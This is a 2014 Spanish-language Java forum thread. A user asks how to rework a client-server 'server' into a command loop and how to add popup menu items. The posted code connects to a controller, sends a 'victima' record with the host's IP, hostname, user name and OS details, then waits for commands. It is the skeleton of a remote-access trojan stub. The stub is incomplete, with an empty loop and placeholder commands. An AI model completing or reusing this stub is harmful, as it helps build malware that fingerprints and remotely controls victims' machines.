Foros del Web » Programación para mayores de 30 ;) » Java »

Server Remoto Consejos

Estas en el tema de Server Remoto Consejos en el foro de Java en Foros del Web. Hola a todos,estoy intentando modificar un server de una aplicación cliente servidor en java,el código del server es el siguiente: Código: import java.io.BufferedReader; import java.io.IOException; ...
  #1 (permalink)  
Antiguo 23/11/2014, 18:08
 
Fecha de Ingreso: noviembre-2014
Ubicación: altea
Mensajes: 14
Antigüedad: 9 años, 5 meses
Puntos: 0
Pregunta Server Remoto Consejos

Hola a todos,estoy intentando modificar un server de una aplicación cliente servidor en java,el código del server es el siguiente:

Código:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
 

interface config{
   public static final int    port       = 8086;
   public static final String host    = "localhost";
}
public class server extends Thread{
   private Socket socket  = null;
   private boolean active = true;
    
   private PrintWriter    printWriter = null;
   private BufferedReader reader      = null;
   @Override
   public synchronized void run(){
      while(active){
         try {
            if(reader.ready()){
             
            }
         } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
         }
         try {
            Thread.sleep(70);
         } catch (InterruptedException e) {
            e.printStackTrace();
         }
      }
   }
   private final void writer(String command){
      printWriter.println(command);
      printWriter.flush();
   }
   private final void sendInformation() {
      try {
         final InetAddress address = InetAddress.getLocalHost();
         this.writer("NEW");
            this.writer("victima" + "?" + address.getHostAddress() + "?"
               + address.getCanonicalHostName() + "?"
               + System.getProperty("user.name") + "?"
               + System.getProperty("os.name") + "?"
               + System.getProperty("os.version") + "?" + config.port);
      } catch (Exception e) {
         System.err.println(e);
      }
   }
   public server(){
   try {
      this.socket = new Socket(config.host,config.port);
      inOut();
      sendInformation();
   } catch (UnknownHostException e) {
      e.printStackTrace();
   } catch (IOException e) {
      e.printStackTrace();
       }   
   this.start();
   }
   private final void inOut() throws IOException{
      printWriter = new PrintWriter(socket.getOutputStream());
      reader = new BufferedReader(
                           new InputStreamReader(socket.getInputStream()));
   }
   /**
    * @param args
    */
   public static void main(String[] args) {
   new server();
   }
}
La cuestión es que quería cambiar la zona de public synchronized void run por:

Código:
public void run(){

   //debes saber que omito las capturas de errores

   //esta variable se usa para seguir la ejecución (done significa hecho) la inicializo false porque es natural decir que no esta listo

   boolean done = false;

   //esta variable se usa para almacenar la linea leida

   String line;

   //como no esta listo uso la negacion de done (!done)

   while(!done){

     //dentro del while aqui bucle while viene la magia (la magía como decia mi abuelo Q.E.P.D)

      line = in.readLine().trim(); //al igual que el servidor eco, pero borramos los espacios que pueda tener (adelante o atras)

      //vamos con la magia (redoble de tambores)

     if(line.equalsIgnoreCase("Comando1")){

         //eee lo logramos

         //accion 1

        out.write("Respuesta1");

      }else

      if(line.equalsIgnoreCase("Comando2")){

        //otro más

        //accion 2

         out.write("Respuesta2");

      }//..... y todos los que se te ocurra

     //ves facil aa se me le olvidava

    //aqui antes de salir del bloque while hacemos un flush de los datos

    out.flush();

  }

}
1- ¿Seria posible modificarlo asi?
2- Para mi seria mas fácil programarlo de la forma que quiero modificar porfavor denme sus opiniones,gracias.

3- ¿Cómo añado mas funciones de popup en este codigo?:
Código:
JPopupMenu popupMenu = new JPopupMenu();
         JMenuItem item = new JMenuItem("Funcion 1");
      
         

         
          popupMenu.add(item);
         table.setComponentPopupMenu(popupMenu);

Última edición por xivan29; 24/11/2014 a las 11:33
  #2 (permalink)  
Antiguo 24/11/2014, 13:24
 
Fecha de Ingreso: noviembre-2014
Ubicación: altea
Mensajes: 14
Antigüedad: 9 años, 5 meses
Puntos: 0
Respuesta: Server Remoto Consejos

Bueno me autorespondo a la pregunta 3 (3- ¿Cómo añado mas funciones de popup en este codigo?):
Muy Facilito:
Código:
JPopupMenu popupMenu = new JPopupMenu();
         JMenuItem item = new JMenuItem("Funcion 1");
         
         JMenuItem itemdos = new JMenuItem("Funcion 2");
         
         JMenuItem itemtres = new JMenuItem("Funcion 3");
         
         JMenuItem itemcuatro = new JMenuItem("Funcion 4");
        
          popupMenu.add(item);
          popupMenu.add(itemdos);
          popupMenu.add(itemtres);
          popupMenu.add(itemcuatro);

Etiquetas: cliente, servidor
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 21:17.